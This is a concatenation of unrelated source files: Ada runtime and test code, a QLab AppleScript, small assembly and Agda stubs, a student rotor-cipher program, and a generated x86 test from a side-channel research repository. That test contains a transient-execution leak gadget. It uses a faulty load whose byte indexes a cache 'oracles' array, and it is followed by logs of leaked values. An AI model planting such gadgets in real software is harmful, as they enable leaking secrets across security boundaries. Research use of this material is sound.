00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
gcc-gcc-7_3_0-release/gcc/ada/a-stuten.ads | best08618/asylo | 7 | 1268 | <reponame>best08618/asylo<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- A D A . S T R I N G S . U T F _ E N C O D I N G --
-- --
-- S p e c --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This is one of the Ada 2012 package defined in AI05-0137-1. It is a parent
-- package that contains declarations used in the child packages for handling
-- UTF encoded strings. Note: this package is consistent with Ada 95, and may
-- be used in Ada 95 or Ada 2005 mode.
with Interfaces;
with Unchecked_Conversion;
package Ada.Strings.UTF_Encoding is
pragma Pure (UTF_Encoding);
subtype UTF_String is String;
-- Used to represent a string of 8-bit values containing a sequence of
-- values encoded in one of three ways (UTF-8, UTF-16BE, or UTF-16LE).
-- Typically used in connection with a Scheme parameter indicating which
-- of the encodings applies. This is not strictly a String value in the
-- sense defined in the Ada RM, but in practice type String accommodates
-- all possible 256 codes, and can be used to hold any sequence of 8-bit
-- codes. We use String directly rather than create a new type so that
-- all existing facilities for manipulating type String (e.g. the child
-- packages of Ada.Strings) are available for manipulation of UTF_Strings.
type Encoding_Scheme is (UTF_8, UTF_16BE, UTF_16LE);
-- Used to specify which of three possible encodings apply to a UTF_String
subtype UTF_8_String is String;
-- Similar to UTF_String but specifically represents a UTF-8 encoded string
subtype UTF_16_Wide_String is Wide_String;
-- This is similar to UTF_8_String but is used to represent a Wide_String
-- value which is a sequence of 16-bit values encoded using UTF-16. Again
-- this is not strictly a Wide_String in the sense of the Ada RM, but the
-- type Wide_String can be used to represent a sequence of arbitrary 16-bit
-- values, and it is more convenient to use Wide_String than a new type.
Encoding_Error : exception;
-- This exception is raised in the following situations:
-- a) A UTF encoded string contains an invalid encoding sequence
-- b) A UTF-16BE or UTF-16LE input string has an odd length
-- c) An incorrect character value is present in the Input string
-- d) The result for a Wide_Character output exceeds 16#FFFF#
-- The exception message has the index value where the error occurred.
-- The BOM (BYTE_ORDER_MARK) values defined here are used at the start of
-- a string to indicate the encoding. The convention in this package is
-- that on input a correct BOM is ignored and an incorrect BOM causes an
-- Encoding_Error exception. On output, the output string may or may not
-- include a BOM depending on the setting of Output_BOM.
BOM_8 : constant UTF_8_String :=
Character'Val (16#EF#) &
Character'Val (16#BB#) &
Character'Val (16#BF#);
BOM_16BE : constant UTF_String :=
Character'Val (16#FE#) &
Character'Val (16#FF#);
BOM_16LE : constant UTF_String :=
Character'Val (16#FF#) &
Character'Val (16#FE#);
BOM_16 : constant UTF_16_Wide_String :=
(1 => Wide_Character'Val (16#FEFF#));
function Encoding
(Item : UTF_String;
Default : Encoding_Scheme := UTF_8) return Encoding_Scheme;
-- This function inspects a UTF_String value to determine whether it
-- starts with a BOM for UTF-8, UTF-16BE, or UTF_16LE. If so, the result
-- is the scheme corresponding to the BOM. If no valid BOM is present
-- then the result is the specified Default value.
private
function To_Unsigned_8 is new
Unchecked_Conversion (Character, Interfaces.Unsigned_8);
function To_Unsigned_16 is new
Unchecked_Conversion (Wide_Character, Interfaces.Unsigned_16);
function To_Unsigned_32 is new
Unchecked_Conversion (Wide_Wide_Character, Interfaces.Unsigned_32);
subtype UTF_XE_Encoding is Encoding_Scheme range UTF_16BE .. UTF_16LE;
-- Subtype containing only UTF_16BE and UTF_16LE entries
-- Utility routines for converting between UTF-16 and UTF-16LE/BE
function From_UTF_16
(Item : UTF_16_Wide_String;
Output_Scheme : UTF_XE_Encoding;
Output_BOM : Boolean := False) return UTF_String;
-- The input string Item is encoded in UTF-16. The output is encoded using
-- Output_Scheme (which is either UTF-16LE or UTF-16BE). There are no error
-- cases. The output starts with BOM_16BE/LE if Output_BOM is True.
function To_UTF_16
(Item : UTF_String;
Input_Scheme : UTF_XE_Encoding;
Output_BOM : Boolean := False) return UTF_16_Wide_String;
-- The input string Item is encoded using Input_Scheme which is either
-- UTF-16LE or UTF-16BE. The output is the corresponding UTF_16 wide
-- string. Encoding error is raised if the length of the input is odd.
-- The output starts with BOM_16 if Output_BOM is True.
procedure Raise_Encoding_Error (Index : Natural);
pragma No_Return (Raise_Encoding_Error);
-- Raise Encoding_Error exception for bad encoding in input item. The
-- parameter Index is the index of the location in Item for the error.
end Ada.Strings.UTF_Encoding;
|
Transynther/x86/_processed/NC/_ht_st_zr_un_/i7-7700_9_0x48_notsx.log_21829_1044.asm | ljhsiun2/medusa | 9 | 162992 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x489f, %r12
clflush (%r12)
nop
nop
xor $27231, %r9
mov (%r12), %r8
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0x1989f, %r9
nop
dec %rsi
movb (%r9), %r14b
cmp $26341, %r12
lea addresses_WT_ht+0x1e8cf, %r14
sub $26422, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%r14)
nop
nop
nop
xor $15933, %r9
lea addresses_normal_ht+0x2bb7, %r8
clflush (%r8)
nop
nop
nop
and $27761, %r11
mov (%r8), %rsi
nop
nop
nop
nop
nop
xor $63836, %r9
lea addresses_WC_ht+0x17267, %rsi
lea addresses_A_ht+0xed9f, %rdi
clflush (%rdi)
nop
sub %r12, %r12
mov $61, %rcx
rep movsl
sub $14644, %r9
lea addresses_A_ht+0x1538f, %rsi
lea addresses_WT_ht+0x3317, %rdi
nop
sub $44994, %r14
mov $4, %rcx
rep movsq
add %r9, %r9
lea addresses_normal_ht+0x14c3f, %rsi
nop
nop
nop
nop
nop
cmp %r9, %r9
mov (%rsi), %r11d
cmp %r9, %r9
lea addresses_WC_ht+0x1907f, %rsi
nop
nop
nop
cmp $1963, %r14
movl $0x61626364, (%rsi)
nop
inc %rdi
lea addresses_UC_ht+0x1be1f, %r11
nop
inc %r12
mov $0x6162636465666768, %rcx
movq %rcx, (%r11)
and %r11, %r11
lea addresses_A_ht+0x1aa3f, %r14
nop
nop
nop
nop
cmp $2277, %rsi
movl $0x61626364, (%r14)
xor $22776, %r9
lea addresses_D_ht+0x1d25f, %r8
nop
nop
xor $61872, %rcx
movl $0x61626364, (%r8)
nop
sub $45123, %rcx
lea addresses_UC_ht+0x169f, %rsi
lea addresses_A_ht+0x1a89f, %rdi
nop
add %r8, %r8
mov $77, %rcx
rep movsw
nop
nop
nop
nop
nop
mfence
lea addresses_D_ht+0x239f, %rsi
lea addresses_UC_ht+0x1289f, %rdi
nop
nop
nop
sub $60545, %r9
mov $79, %rcx
rep movsb
nop
nop
nop
nop
sub $3871, %r14
lea addresses_A_ht+0x849f, %rcx
add $63322, %r11
mov $0x6162636465666768, %r9
movq %r9, (%rcx)
nop
sub $21070, %r8
lea addresses_normal_ht+0x1299f, %rcx
nop
nop
nop
nop
xor $41416, %r12
mov (%rcx), %esi
nop
nop
dec %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rax
push %rdx
// Store
lea addresses_US+0x1981f, %rdx
clflush (%rdx)
nop
sub $56586, %r12
movw $0x5152, (%rdx)
and $53357, %rdx
// Store
lea addresses_D+0x1489f, %r15
nop
nop
nop
nop
add %r10, %r10
mov $0x5152535455565758, %r9
movq %r9, (%r15)
nop
cmp $40333, %r13
// Faulty Load
mov $0x16a4a0000000009f, %r9
nop
nop
nop
nop
nop
and %rax, %rax
movups (%r9), %xmm5
vpextrq $1, %xmm5, %r12
lea oracles, %r13
and $0xff, %r12
shlq $12, %r12
mov (%r13,%r12,1), %r12
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 8}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 9, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 6}}
{'40': 1, 'ff': 12, '46': 1169, '48': 181, '00': 20436, '15': 1, '33': 1, '72': 1, '08': 1, '32': 1, '9d': 1, 'c5': 3, '45': 21}
32 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 46 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 46 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 46 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46
*/
|
scripts/Create OSC trigger for cue x.applescript | samschloegel/qlab-scripts | 8 | 1239 | <reponame>samschloegel/qlab-scripts<filename>scripts/Create OSC trigger for cue x.applescript
-- For help, bug reports, or feature suggestions, please visit https://github.com/samschloegel/qlab-scripts
-- Built for QLab 4. v211121-01
set userPatch to 1
set userPrefix to ""
set userSuffix to "."
tell application id "com.figure53.QLab.4" to tell front workspace
try
set userInput to display dialog "QLab Cue?" default answer "" buttons {"Cancel", "Continue"} default button "Continue"
set cueNumber to text returned of userInput
if button returned of userInput is "Continue" then
make type "Network"
set theNetwork to last item of (selected as list)
set patch of theNetwork to userPatch
set osc message type of theNetwork to custom
set custom message of theNetwork to ("/cue/" & userPrefix & cueNumber & userSuffix & "/go")
end if
on error
return
end try
end tell |
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___fs2uint_callee.asm | Frodevan/z88dk | 640 | 7198 |
SECTION code_fp_math32
PUBLIC ___fs2uint_callee
EXTERN cm32_sdcc___fs2uint_callee
defc ___fs2uint_callee = cm32_sdcc___fs2uint_callee
|
src/FRP/LTL/ISet/Unit.agda | agda/agda-frp-ltl | 21 | 6696 | <reponame>agda/agda-frp-ltl
open import Data.Product using ( _,_ )
open import Data.Unit using ( ⊤ ; tt )
open import FRP.LTL.ISet.Core using ( ISet ; [_] ; _,_ )
module FRP.LTL.ISet.Unit where
T : ISet
T = [ (λ i → ⊤) , (λ i j i~j t → (tt , tt)) , (λ i j i⊑j t → tt) ]
|
dcl.asm | mkcin/DCL | 0 | 4308 | SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60
STDIN equ 0
STDOUT equ 1
BUFFER_SIZE equ 4096
ONE equ 49
; Wykonanie programu zaczyna się od etykiety _start.
global _start
section .bss
; miejsce zarezerwowane na wczytany tekst
buffer resb BUFFER_SIZE
; tablica zliczająca powtórzenia znaków w argumentach
letter_ocurencies times 42 resb 0
; inwersja permutacji R
R_inversed times 42 resb 1
; inwersja permutacji L
L_inversed times 42 resb 1
section .text
; Wypisywanie bufora
; print_buffer b, c wypisuje c znaków tekstu o początku w b
; Modyfikuje rejestry rax, rdi, rsi, rdx i r11 przez funkcję systemową
%macro print_buffer 2
mov rdx, %2
mov rsi, %1
mov rax, SYS_WRITE
mov rdi, STDOUT
syscall
%endmacro
; Wczytywanie do bufora
; Po wykonaniu read, buffer to początek wczytanego
; bloku tekstu o maksymalnej wielkości BUFFER_SIZE
; Modyfikuje rejestry rax, rdi, rsi, rdx i r11 przez funkcję systemową
%macro read 0
mov rax, SYS_READ
mov rdi, STDIN
mov rsi, buffer
mov rdx, BUFFER_SIZE
syscall
%endmacro
; Permutacja Q
; Q_permutation x, y wykonuje Q o indeksie %2 na literze %1
%macro Q_permutation 2
add %1, %2
mov edx, %1
sub edx, 42
cmp %1, 42
cmovge %1, edx
%endmacro
; Odwrotność permutacji Q
; r_Q_permutation x, y wykonuje odwrotność
; Q o indekie %2 na literze %1
; Modyfikuje rejestr rdx
%macro r_Q_permutation 2
sub %1, %2
mov edx, %1
add edx, 42
test %1, %1
cmovs %1, edx
%endmacro
; Permutacja R, Odwrotności R, L, odwrotności L,
; lub T (która jest taka sama jak swoja odwrotność)
; L_R_T_permutation x P x_r wykonuje na x (czyli %1 i %3
; tylko %1 to ostatnie 8 bitów, a %3 to 64 bity) permutację
; R jeśli %2 to adres permutacji R
; L jeśli %2 to adres permutacji L
; T jeśli %2 to adres permutacji T
; lub odwrotność
; R jeśli %2 to adres odwrotności permutacji R
; L jeśli %2 to adres odwrotności permutacji L
%macro L_R_T_permutation 3
mov %1, [%2 + %3]
%endmacro
_start:
call arguments_validation
mov r9, [rsp + 5 * 8]
xor r14, r14
xor r13, r13
mov r14b, [r9 + 1] ; pozycja początkowa bębenka R
mov r13b, [r9] ; pozycja początkowa bębenka L
sub r13b, ONE
sub r14b, ONE
mov r9, [rsp + 2 * 8] ; permutacja L
mov r10, [rsp + 3 * 8] ; permutacja R
mov r12, [rsp + 4 * 8] ; permutacja T
call inverse_and_decrement_permutations
xor r15, r15
read_and_print_loop:
read
cmp rax, 0
je read_and_print_loop_end
mov rdi, buffer ; Zapisuję wskaźnik na początek bufora
xor rsi, rsi ; Liczba przepermutowanych znaków bufora
apply_permutations_loop_increment:
xor r15, r15
mov r15b, r13b
inc r15b
inc r14b ; Obracam bębenek R
cmp r14b, 27 ; Sprawdzam czy r nie jest w którejś z pozycji obrotowych
cmove r13, r15
cmp r14b, 33
cmove r13, r15
cmp r14b, 35
cmove r13, r15
xor r15, r15
cmp r14b, 42 ; Kontroluję cykliczny obrót bębenka R
cmove r14, r15 ; i jeśli się przekręca, zamieniam wartość z powrotem na 0
cmp r13b, 42 ; Kontroluję cykliczny obrót bębenka L
cmove r13, r15 ; i jeśli się przekręca, zamieniam wartość z powrotem na 0
mov r15b, [rdi]
sub r15b, ONE
cmp r15b, 0 ; Sprawdzam czy wczytany znak jest z dobrego zakresu
jl exit_1
cmp r15b, 41
jg exit_1
; Wykonuję permutacje na kolejnej literze
Q_permutation r15d, r14d ; Qr
L_R_T_permutation r15b, r10, r15 ; R
r_Q_permutation r15d, r14d ; odwrotność Qr
Q_permutation r15d, r13d ; Ql
L_R_T_permutation r15b, r9, r15 ; L
r_Q_permutation r15d, r13d ; odwrotność Ql
L_R_T_permutation r15b, r12, r15 ; T
Q_permutation r15d, r13d ; Ql
L_R_T_permutation r15b, L_inversed, r15 ; odwrotność L
r_Q_permutation r15d, r13d ; odwrotność Ql
Q_permutation r15d, r14d ; Qr
L_R_T_permutation r15b, R_inversed, r15 ; odwrotność R
r_Q_permutation r15d, r14d ; odwrotność Qr
add r15b, ONE
mov byte [rdi], r15b
inc rdi
inc rsi
cmp rax, rsi ; Sprawdzam, czy rozpatrzony znak był
; ostatnim wczytanym do bufora znakiem
jne apply_permutations_loop_increment ; Jeśli nie był, rozpatruję kolejny znak
print_buffer buffer, rax ; Wypisuję zaszyfrowany bufor
cmp rax, BUFFER_SIZE ; Sprawdzam
je read_and_print_loop
read_and_print_loop_end:
mov eax, SYS_EXIT
mov rdi, 0 ; kod powrotu 0
syscall
; SEKCJE POMOCNICZE
; Wypełnia R_inversed oraz L_inversed odpowiednio inwersjami
; Permutacji R oraz L i zmniejsza wartości znaków tych
; permutacji oraz oraz permutacji T o 49
; r9 - początek permutacji L (modyfikowane przez funkcję)
; r10 - początek permutacji R (modyfikowane przez funkcję)
; r12 - początek permutacji T (modyfikowane przez funkcję)
; Modyfikuje rejestry rdi, rsi, rdx
inverse_and_decrement_permutations:
push r9
push r10
push r12
xor rdi, rdi ; Rejestr na kolejne elementy permutacji
xor rsi, rsi ; Indeks aktualnie rozpatrywanego elementu
xor rdx, rdx ; Rejestr służący do przesunięcia elementów
; Permutacji T o 49
inverse_L_permutation_loop:
mov dil, [r9]
cmp dil, 0 ; Koniec permutacji L
je inverse_L_permutation_end
mov dl, [r12] ; Zmniejszenie kolejnego znaku w permutacji T o 49
sub dl, ONE
mov byte [r12], dl
sub dil, ONE
mov byte [r9], dil ; Przesunięcie elementu L o 49 do tyłu w ASCII
mov byte [L_inversed + rdi], sil ; Wypełnienie inwersjii L
inc r9
inc r12
inc rsi
jmp inverse_L_permutation_loop
inverse_L_permutation_end:
xor rdi, rdi ; rejestr na kolejne elementy permutacji
xor rsi, rsi ; indeks aktualnie rozpatrywanego elementu
inverse_R_permutation_loop:
mov dil, [r10]
cmp dil, 0 ; Koniec permutacji R
je inverse_R_permutation_end
sub dil, ONE
mov byte [r10], dil ; Przesunięcie elementu R o 49 do tyłu w ASCII
mov byte [R_inversed + rdi], sil ; Wypełnienie inwersjii R
inc r10
inc rsi
jmp inverse_R_permutation_loop
inverse_R_permutation_end:
pop r12
pop r10
pop r9
ret
; Sprawdzam, czy liczba argumentów jet poprawna oraz czy poszczególne argumenty są poprawne
; Modyfikuje rejestry rax, rcx, rsi, rdx
arguments_validation:
mov rax, 5 ; program ma przyjąć 4 argumenty (args[0] to nazwa programu)
cmp rax, [rsp + 8]
jne exit_1
mov rcx, 42
mov rsi, 1
mov rdx, [rsp + 3 * 8]
call check_valid_argument ; Poprawność permutacji L
mov rdx, [rsp + 4 * 8]
call check_valid_argument ; Poprawność permutacji R
mov rdx, [rsp + 5 * 8]
call check_valid_argument
mov rdx, [rsp + 5 * 8] ; Poprawność permutacji T
call check_valid_T_permutation
mov rcx, 2
xor rsi, rsi
mov rdx, [rsp + 6 * 8]
call check_valid_argument ; Poprawność klucza szyfrowania
ret
; Sprawdzam poprawność wczytanych argumentów pod kątem długości, poprawności znaków
; dodatkowo opcjonalnie sprawdzam, czy wszystkie znaki argumentu się różnią
; rcx - oczekiwaną długość argumentu
; rdx - adres argumentu do sprawdzenia
; rsi - 0 jeśli nie chcę, żeby została sprawdzona znaków w argumencie
; 1 w przeciwnym wypadku
; Modyfikuje rejestry rbx, rbp, rax, r8, rdx
check_valid_argument:
xor rbx, rbx ; długość argumentu
mov rbp, rdx ; zapisuję wskaźnik na początek argumentu
check_valid_argument_characters_loop:
mov al, [rdx]
cmp al, 0 ; sprawdzam, czy napotkałem koniec argumentu
je check_valid_argument_length
cmp al, ONE ; sprawdzam, czy znak jest w dozwolonym przedziale
jl exit_1
cmp al, 90
jg exit_1
inc rbx ; zwiększam licznik długości
inc rdx
jmp check_valid_argument_characters_loop
check_valid_argument_length:
cmp rbx, rcx ; sprawdzam, czy argument jest oczekiwanej długości
jne exit_1
cmp rsi, 0 ; jeśli nie chcę sprawdzać czy litery są różne, pomijam ten etap
je check_valid_argument_end
check_valid_argument_distinct:
mov r8, 0
check_valid_argument_distinct_clear_array:
mov byte [letter_ocurencies + r8], 0 ; zeruję tablicę zliczającą powtórzenia liter
inc r8
cmp r8, 42
jne check_valid_argument_distinct_clear_array
xor rax, rax ; w rejestrze al będę zapisywał kolejne litery
check_valid_argument_distinct_loop:
mov al, [rbp]
sub al, ONE ; al należy do [0, 49]
mov rdx, letter_ocurencies
add rdx, rax
cmp byte [rdx], 0 ; sprawdzam, czy litera nie wystąpiła do tej pory
jne exit_1
mov byte [rdx], 1 ; zaznaczam wystąpienie litery
inc rbp ; przesuwam wskaźnik po argumencie
mov al, [rbp]
cmp al, 0 ; sprawdzam, czy nie napotkałem końca argumentu
jne check_valid_argument_distinct_loop
check_valid_argument_end:
ret
; Sprawdzam, czy permutacja T składa się z 21 rozłącznych cykli 2-elementowych
; rdx - adres argumentu T
; modyfukuje rejestry rax, rdi, rcx, r8
check_valid_T_permutation:
xor rax, rax ; zeruję rejestry, na których części będę trzymał znaki z permutacji
xor rcx, rcx
xor r8, r8
mov rdi, rdx ; zapisuję początek argumentu
check_valid_T_permutation_loop:
mov al, [rdx]
cmp al, 0 ; sprawdzam, czy nie napotkałem końca argumentu
je check_valid_T_permutation_end
sub al, ONE
add rdi, rax
mov cl, [rdi] ; zapisuję, na jaką literę w permutacji przechodzi litera argumentu
sub rdi, rax
sub cl, ONE
cmp al, cl
je exit_1 ; wykryto cykl jednoelementowy
add rdi, rcx
mov r8b, [rdi] ; zapisuję na jaką literę w permutacji przechodzi litera,
; na którą przechodzi litera argumentu
sub rdi, rcx
sub r8b, ONE
cmp al, r8b
jne exit_1 ; cykl nie jest dwuelementowy
inc rdx
jmp check_valid_T_permutation_loop
check_valid_T_permutation_end:
ret
exit_1:
mov eax, SYS_EXIT
mov rdi, 1 ; kod powrotu 1
syscall
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/curr_task.adb | best08618/asylo | 7 | 7987 | -- { dg-do run }
-- { dg-options "-gnatws" }
with Ada.Exceptions;
with Ada.Text_IO;
with Ada.Task_Identification;
procedure Curr_Task is
use Ada.Task_Identification;
-- Simple semaphore
protected Semaphore is
entry Lock;
procedure Unlock;
private
TID : Task_Id := Null_Task_Id;
Lock_Count : Natural := 0;
end Semaphore;
----------
-- Lock --
----------
procedure Lock is
begin
Semaphore.Lock;
end Lock;
---------------
-- Semaphore --
---------------
protected body Semaphore is
----------
-- Lock --
----------
entry Lock when Lock_Count = 0
or else TID = Current_Task
is
begin
if not
(Lock_Count = 0
or else TID = Lock'Caller)
then
Ada.Text_IO.Put_Line
("Barrier leaks " & Lock_Count'Img
& ' ' & Image (TID)
& ' ' & Image (Lock'Caller));
end if;
Lock_Count := Lock_Count + 1;
TID := Lock'Caller;
end Lock;
------------
-- Unlock --
------------
procedure Unlock is
begin
if TID = Current_Task then
Lock_Count := Lock_Count - 1;
else
raise Tasking_Error;
end if;
end Unlock;
end Semaphore;
------------
-- Unlock --
------------
procedure Unlock is
begin
Semaphore.Unlock;
end Unlock;
task type Secondary is
entry Start;
end Secondary;
procedure Parse (P1 : Positive);
-----------
-- Parse --
-----------
